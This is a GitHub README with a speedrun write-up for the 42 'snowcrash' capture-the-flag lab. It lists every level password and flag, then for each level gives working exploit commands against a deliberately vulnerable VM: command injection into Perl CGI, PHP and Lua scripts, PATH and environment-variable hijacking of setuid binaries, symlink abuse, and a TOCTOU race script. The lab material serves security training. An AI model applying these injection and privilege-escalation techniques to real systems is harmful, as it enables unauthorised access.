Skip to content

πŸ—οΈ 42 CTF πŸ΄β€β˜ οΈ Speedrun ⚑

Notifications You must be signed in to change notification settings

nuoxoxo/snowcrash_speedrun

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

83 Commits
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

Tokens

level01  x24ti5gi3x0ol2eh4esiuxias
level02  f2av5il02puano7naaf6adaaf
level03  kooda2puivaav1idi4f57q8iq
level04  qi0maab88jeaj46qoumi7maus
level05  ne2searoevaevoem4ov4ar8ap
level06  viuaaale9huek52boumoomioc
level07  wiok45aaoguiboiki2tuin6ub
level08  fiumuikeil55xe9cu4dood66h
level09  25749xKZ8L7DkSCwJkT9dyv6f
level10  s5cAJpM8ev6XHw998pRWG728z
level11  feulo4b72j7edeahuete3no7c
level12  fa6v5ateaw21peobuub8ipe6s
level13  g1qKMiRpXf53AWhDaU7FEkczr

flag00  nottoohardhere 
flag01  abcdefg
flag02  ft_waNDReL0L
flag08  quif5eloekouj29ke0vouxean
flag09  f3iji1ju5yuevaus41q1afiuq
flag10  woupa2yuojeeaaed06riuj63c

Level 00 - 01 - 02 - 03 - 04 - 05 - 06 - 07 - 08 - 09 - 10 - 11 - 12

Subject PDF

SSH

tags: sed..cut or awk

> ssh -p 4242 level00@$(ifconfig|grep 'inet '|sed -n '2p'|cut -d' ' -f2)
                                              ^^^         ^^^
> ssh -p 4242 level00@$(ifconfig|grep 'inet '|awk 'NR==2{print $2}')
                                              ^^^

00

tags: puzzle

We have a cipher

> cat /etc/passwd πŸ‘ˆ flag0x
> find / -user flag00 2>/dev/null -exec cat {} \;
    OR
> find / -user flag00 2>/dev/null -exec cat {} +
cdiiddwpgswtgt
cdiiddwpgswtgt

Decipher

a = ord('a')
for i in range(26): print(''.join(chr(a+(ord(c)+i)%26) for c in s))
> su flag00 *( )*
> getflag | awk '{print $NF}'

01

tags: encryption /etc/passwd john

Login

> ssh level01@$(ifconfig|grep 'inet '|awk 'NR==2 {print $2}') -p 4242
> Password: x24ti5gi3x0ol2eh4esiuxias

Look at /etc/passwd

> grep -i flag01 /etc/passwd
flag01:42hDRfypTqqnw:3001:3001::/home/flag/flag01:/bin/bash
> grep flag01 /etc/passwd | awk -F: '{print $2}'
42hDRfypTqqnw

Decode w. john

  • macos
if [[ ! -f "john-1.8.0.9-jumbo-macosx_sse4.zip" ]]; then
    wget https://download.openwall.net/pub/projects/john/contrib/macosx/john-1.8.0.9-jumbo-macosx_sse4.zip
    tar -xvf john-1.8.0.9-jumbo-macosx_sse4.zip
fi
cd john-1.8.0.9-jumbo-macosx_sse4/run
#echo "42hDRfypTqqnw" > infile
scp -P 4242 level01@$(ifconfig|grep 'inet '|awk 'NR==1 {first=$0} END {print $2}'):/etc/passwd $(pwd)/infile
cat infile | grep flag01 | awk -F: '{print $2}'
sed -i '' '/flag01/!d' infile
./john --format=descrypt-opencl --show infile
cd ../..
  • linux
if ! [ -d "john" ]; then
    git clone https://github.com/openwall/john.git
    cd john/src && ./configure && make
    cd ../..
fi
cd john/run
scp -P 4242 level01@$(ifconfig|grep 'inet '|awk 'NR==1 {first=$0} END {print $2}'):/etc/passwd $(pwd)/infile
cat infile | grep flag01 | awk -F: '{print $2}'
sed -i '' '/flag01/!d' infile
./john --format=descrypt-opencl --show infile
cd ../..
# rm -rf john*
> ./do_john.sh
> su flag01 ***
> getflag | awk '{print $NF}'

Why use john

  • ./john --show provides this line in the output
[DES 128/128 SSE2-16]
  • Data Encryption Standard (DES)
  • DES is not truly encryption in the sense of encryption algorithms
  • it is an old one-way transformation used to store passwds
  • it is insecure due to small key size
  • using john to bruteforce-crack it is the most effecive way

02

tags: packet capture scp xxd

Login

> ssh level02@$(ifconfig|grep 'inet '|awk 'NR==2 {print $2}') -p 4242
> Password: f2av5il02puano7naaf6adaaf

Command list

scp -P 4242 level02@$(ifconfig|grep 'inet '|awk 'NR==2{print $2}'):/home/user/level02/level02.pcap $(pwd)
hexdump -C level02.pcap | grep -i pass
xxd level02.pcap        | grep -i pass

Found a .pcap file

### VM
> ls -l
----r--r-- 1 flag02 level02 level02.pcap
^ which means a regular file

> scp -P 4242 level02@$(ifconfig|grep 'inet '|awk 'NR==2 {print $2}'):/home/user/level02/level02.pcap $(pwd)
  • ~.pcap - Packet Capture

    • is used to store network packet data captured during network traffic monitoring
  • Save the .pcap to Host

    • scp - secure copy - scp username@ip:path _local_
  • βœ… Use Wireshark

    • we do Analyze - Follow - TCP Stream
    • copy TCP Stream to text
    000000D6  00 0d 0a 50 61 73 73 77  6f 72 64 3a 20            ...Passw ord: 
000000B9  66                                                 f
000000BA  74                                                 t
000000BB  5f                                                 _
000000BC  77                                                 w
000000BD  61                                                 a
000000BE  6e                                                 n
000000BF  64                                                 d
000000C0  72                                                 r
000000C1  7f                                                 .
000000C2  7f                                                 .
000000C3  7f                                                 .
000000C4  4e                                                 N
000000C5  44                                                 D
000000C6  52                                                 R
000000C7  65                                                 e
000000C8  6c                                                 l
000000C9  7f                                                 .
000000CA  4c                                                 L
000000CB  30                                                 0
000000CC  4c                                                 L
000000CD  0d                                                 .
  • 7f - DE
  • 0d - CR
  • do the p3

03

tags: ltrace

Login

> ssh level03@$(ifconfig|grep 'inet '|awk 'NR==2 {print $2}') -p 4242
> Password: kooda2puivaav1idi4f57q8iq
> ltrace ./level03
getegid()                                           = 2003
geteuid()                                           = 2003
setresgid(2003, 2003, 2003, 0xb7e5ee55, 0xb7fed280) = 0
setresuid(2003, 2003, 2003, 0xb7e5ee55, 0xb7fed280) = 0
system("/usr/bin/env echo Exploit me" ...
echo "$(which getflag)" > /tmp/echo
chmod +x /tmp/echo
export PATH=/tmp:$PATH 
./level03

04

tags: query string Perl

Login

> ssh level04@$(ifconfig|grep 'inet '|awk 'NR==2 {print $2}') -p 4242
> Password: qi0maab88jeaj46qoumi7maus
See more
#!/usr/bin/perl
# localhost:4747

use CGI qw{param};
  # CGI (Common Gateway Interface)
  # param: a CGI module func fetches params from HTTP requests
  # qw: quote words

print "Content-type: text/html\n\n";

sub x {
  $y = $_[0];
  print `echo $y 2>&1`;
  # sub -- define subroutine x
  # $_[0] -- subroutine `x()` takes a single arg`
  # print w/ backticks invokes a shell command
  # 2>&1 -- combine stdout and stderr, & means 1 is a fd not a filename
}

x(param("x"));
  # 1st `x` : calling the subroutine
  # 2nd `x` : a query param
  # x comes in form of "...?x=getflag"
# test

> curl -I localhost:4747
or
> nc -vz localhost 4747
      ^ v: verbose
        z: scan if a port is open (a listening daemon)
Connection to localhost 4747 port [tcp/*] succeeded!
# solve

curl localhost:4747?x="\`$(which getflag)\`"
curl localhost:4747?x="\`$(whereis getflag | awk '{print $2}')\`"
curl --get --data-urlencode 'x=;getflag' localhost:4747

05

tags: cron Know Your Bash

Login

> ssh level05@$(ifconfig|grep 'inet '|awk 'NR==2 {print $2}') -p 4242
> Password: ne2searoevaevoem4ov4ar8ap
cat /var/mail/level05 
*/2 * * * * su -c "sh /usr/sbin/openarenaserver" - flag05
> ls -l /usr/sbin/openarenaserver
-rwxr-x---+ 1 flag05 flag05 /usr/sbin/openarenaserver
              ^^^^^^ ^^^^^^ resource excl. to user flag05
#!/bin/sh

for i in /opt/openarenaserver/* ; do
	(ulimit -t 5; bash -x "$i")
	rm -f "$i"
done
echo '/bin/getflag     > /tmp/temp' > /opt/openarenaserver/go 
echo '${which getflag} > /tmp/temp' > /opt/openarenaserver/go

06

tags: regex PHP

Login

> ssh level06@$(ifconfig|grep 'inet '|awk 'NR==2 {print $2}') -p 4242
> Password: viuaaale9huek52boumoomioc
> ls -l
-rwxr-x---  1 flag06 level06  356 level06.php
-rwsr-x---+ 1 flag06 level06 7503 level06
   ^ rws β†’ owner = r|w|x+s permissions
See mode

PHP

#!/usr/bin/php
<?php
function y($m) {
  $m = preg_replace("/\./", " x ", $m);
  $m = preg_replace("/@/", " y", $m);
  return $m;
}
function x($y, $z) {
  $a = file_get_contents($y); πŸ‘ˆ 1/ $y ie. $argv[1] should be a file
  $a = preg_replace("/(\[x (.*)\])/e", "y(\"\\2\")", $a); πŸ‘ˆ 2/ (.*) get called and the output goes to f()
  $a = preg_replace("/\[/", "(", $a); 
  $a = preg_replace("/\]/", ")", $a); πŸ‘ˆ both lines trivial
  return $a;
}
$r = x($argv[1], $argv[2]);
print $r;
?>

$a should have this form [x (.*)]

    Either one of

echo '[x  ${`getflag`}]' > /tmp/tmp
echo '[x  ${(exec(getflag))}]' > /tmp/tmp
echo '[x {${system(getflag)}}]' > /tmp/tmp

    THEN

./level06 /tmp/tmp

07

tags: readelf

Login

> ssh level07@$(ifconfig|grep 'inet '|awk 'NR==2 {print $2}') -p 4242
> Password: wiok45aaoguiboiki2tuin6ub
> ls -l
-rwsr-sr-x 1 flag07 level07 8805 level07
See more

Command list

> file level07
> strings level07
> xxd level07 | grep level
> xxd level07 | grep -A3 -B3 level
> readelf -s ./level07 | grep -E 'getenv|system|exec|echo|puts|write|printf'
                        regex ^^
> objdump -d level07 | grep -E "getenv|system|exec|echo|puts|write|printf"
> ltrace ./level07  🟒
> readelf -p .rodata ./level07  🟒

Using readelf -p .rodata and ltrace

  • -p : printable-string-dump displays contents of a section
  • .rodata : read-only data section = what we want to see

String dump of section '.rodata':
  [     8]  LOGNAME
            ^^^^^^^ 
  [    10]  /bin/echo %s 
> ltrace ./level07

__libc_start_main(0x8048514, 1, 0xbffff7f4, 0x80485b0, 0x8048620 <unfinished ...>
getegid()                                                  = 2007
geteuid()                                                  = 2007
setresgid(2007, 2007, 2007, 0xb7e5ee55, 0xb7fed280)        = 0
setresuid(2007, 2007, 2007, 0xb7e5ee55, 0xb7fed280)        = 0
getenv("LOGNAME")                                          = "level07"
        ^^^^^^^  
asprintf(0xbffff744, 0x8048688, 0xbfffff4b, 0xb7e5ee55, 0xb7fed280) = 18
system("/bin/echo level07 "level07
 <unfinished ...>
--- SIGCHLD (Child exited) ---
<... system resumed> )                                     = 0
+++ exited (status 0) +++

Solution

   Either one of 
export LOGNAME='$(getflag)'
export LOGNAME=";getflag"
export LOGNAME='`getflag`'
   Then
./level07

08

tags: symlink

Login

> ssh level08@$(ifconfig|grep 'inet '|awk 'NR==2 {print $2}') -p 4242
> Password: fiumuikeil55xe9cu4dood66h

Tryout

> ltrace ./level08 /tmp/tmp
__libc_start_main(0x8048554, 2, 0xbffff7d4, 0x80486b0, 0x8048720 <unfinished ...>
strstr("/tmp/tmp", "token")                                = NULL
open("/tmp/tmp", 0, 014435162522)                          = 3
read(3, "a\n", 1024)                                       = 2
write(1, "a\n", 2a
)                                         = 2
+++ exited (status 2) +++

Solution

> ln -s `realpath token` /tmp/totem
> ./level08 /tmp/totem

09

tags: puzzle

Login

> ssh level09@$(ifconfig|grep 'inet '|awk 'NR==2 {print $2}') -p 4242
> Password: 25749xKZ8L7DkSCwJkT9dyv6f

Solution

# scp to Host
scp -P 4242 level09@$(ifconfig|grep 'inet '|awk 'NR==1{first=$0}END{print $2}'):/home/user/level09/token $(pwd)
chmod 777 token 
p3 decode.py < token

10

tags: TocTou symlink access

Login

> ssh level10@$(ifconfig|grep 'inet '|awk 'NR==2 {print $2}') -p 4242
> Password: s5cAJpM8ev6XHw998pRWG728z
See more
> ltrace ./level10 token localhost
__libc_start_main(0x80486d4, 3, 0xbffff7d4, 0x8048970, 0x80489e0 <unfinished ...>
access("token", 4)                                         = -1
^^^^^^ 🟑 

printf("You don't have access to %s\n", "token"You don't have access to token
)           = 31
+++ exited (status 31) +++
  • Touch a file of our own, try again
> ./level10 /tmp/tmp localhost
Connecting to localhost:6969 .. Unable to connect to host localhost

> ltrace ./level10 /tmp/tmp localhost
__libc_start_main(0x80486d4, 3, 0xbffff7d4, 0x8048970, 0x80489e0 <unfinished ...>
access("/tmp/tmp", 4)                                      = 0
printf("Connecting to %s:6969 .. ", "localhost")           = 32
                         ^^^^ 🟑 
fflush(0xb7fd1a20Connecting to localhost:6969 .. )         = 0
                                         ^^^^ 🟑 
> ./level10 /tmp/tmp $(ifconfig | grep 'inet ' | awk 'NR==2 {print $2}' | cut -d ":" -f2)
Connecting to Localhost:6969 .. Connected!
Sending file .. wrote file!
# t1
> nc -kl 6969
# t2
> touch /tmp/tmp
> ./level10 /tmp/tmp Localhost
> Connecting to Localhost:6969 .. Connected!
Sending file .. wrote file!
> ltrace ./level10 /tmp/tmp $(ifconfig|grep 'inet '|awk 'NR==2 {print $2}'|cut -d ":" -f2)
.
.
.
printf("Connected!\nSending file .. "Connected!
)                     = 27
fflush(0xb7fd1a20Sending file .. )                                         = 0
open("/tmp/tmp", 0, 010)                                   = 4
      ^^^^^^^^ 🟑 here is where our `token` should be read

read(4, "", 4096)                                          = 0
write(3, "", 0)                                            = 0
puts("wrote file!"wrote file!
)                                        = 12
+++ exited (status 12) +++

Goal

  • Figure out a way to force ./level10 to read the true token:
    • exploit access()'s TOCTOU vulnerability
  • How: let's create a racing condition
  • Design a file to do the following:
    • force access() to check a low-priority file
    • then, open() and read() deal w/ the hi-priority one

Solution:

  • we need a file that alternates its own type
    • type 1: a symlink to token
    • type 2: a regular file of our own
  • write a script to do this πŸ‘‡
  • alternate.sh
rm -rf /tmp/tmp
t=/tmp/tmp
while true; do
  touch $t
  rm -rf $t
  ln -s /home/user/level10/token $t
  rm -rf $t
done
  • runner.sh
IP=$(ifconfig | grep 'inet ' | awk 'NR==1 {print $2}' | cut -d ":" -f2)
while true; do  
  #/home/user/level10/level10 /tmp/tmp ${IP} >/dev/null
  /home/user/level10/level10 /tmp/tmp $(hostname -I | awk '{print $1}') >/dev/null
done
> chmod 777 /tmp/alt.sh /tmp/run.sh

> bash /tmp/alt.sh 2>/dev/null & bash /tmp/run.sh  2>/dev/null & \
nc -kl 6969 | grep -E '[a-z0-9]'
	OR
nc -kl 6969 | grep -v '[][()]'
> kill $(jobs -p)

11

tags: Lua wall

Login

> ssh level11@$(ifconfig|grep 'inet '|awk 'NR==2 {print $2}') -p 4242
> Password: s5cAJpM8ev6XHw998pRWG728z
> ls -l
-rwsr-sr-x 1 flag11 level11 668 level11.lua
See more
#!/usr/bin/env lua
local socket = require("socket")
local server = assert(socket.bind("127.0.0.1", 5151))
                     🟑 a TCP server listening ^^^^
                     for conn on localhost:5151

function hash(pass)
         ^^^^ 🟑 a function converts `pass` to sha-1 hash

  prog = io.popen("echo "..pass.." | sha1sum", "r")
            ^^^^^ 🟑  do `echo <pass> | sha1sum` and read stdout

            πŸ”΅ this is prone to command injection because
            `"echo " .. pass ..` concat unsanitized inputs

  data = prog:read("*all")
  prog:close()
  data = string.sub(data, 1, 40)
  return data
while 1 do
  local client = server:accept()
  client:send("Password: ")
               ^^^^^^^^^ πŸ”΅ we will inject a payload here

  client:settimeout(60)
  local l, err = client:receive()
  if not err then
      print("trying " .. l)
      local h = hash(l)
      if h ~= "f05d1d066fb246efe0c6f7d095f909a7a0cf34a0" then
          client:send("Erf nope..\n");
      else
          client:send("Gz you dumb*\n")
      end
  end
  client:close()

Solution

> nc localhost 5151
    OR
> telnet localhost 5151

---

Password: ;getflag | wall

12

tags: Perl backtick injection egrep

Login

> ssh level12@$(ifconfig|grep 'inet '|awk 'NR==2 {print $2}') -p 4242
> Password: fa6v5ateaw21peobuub8ipe6s
> ls -l level12.pl 
-rwsr-sr-x+ 1 flag12 level12 464 level12.pl
See more
> cat level12.pl 
#!/usr/bin/env perl
# localhost:4646
use CGI qw{param};
print "Content-type: text/html\n\n";

sub t {
  $nn = $_[1];
  $xx = $_[0];         πŸ‘ˆ 
  $xx =~ tr/a-z/A-Z/;  πŸ‘ˆ 
  $xx =~ s/\s.*//;

  @output = `egrep "^$xx" /tmp/xd 2>&1`;
  πŸ‘† backticks in Perl will run the Bash cmd 
  πŸ‘†  if xx is also in backticks it also gets expanded/exec
  foreach $line (@output) {
      ($f, $s) = split(/:/, $line);
      if($s =~ $nn) {
      πŸ‘† nn is empty bc. arg 1 is empty so ($s =~ "") is always true 
          return 1;
      }
  }
  return 0;
}

sub n {
  if($_[0] == 1) {
      print("..");
  } else {
      print(".");
  }    
}

n(t(param("x"), param("y"))); πŸ‘ˆ query's key: x, y
  • input (x) is not sanitized before inserted in the cmd
  • "" - PERL interpolates/evals variables inside double quotes
  • egrep - PERL runs this unsanitized cmd as part of egrep
  • since /tmp/go has x|777 getflag will be run
> echo "getflag | wall" > /tmp/GO
> chmod 777 /tmp/GO
> curl 'http://10.0.2.15:4646?x=`/*/GO`'

there you have it in tmp tmp

About

πŸ—οΈ 42 CTF πŸ΄β€β˜ οΈ Speedrun ⚑

Resources

Stars

Watchers

Forks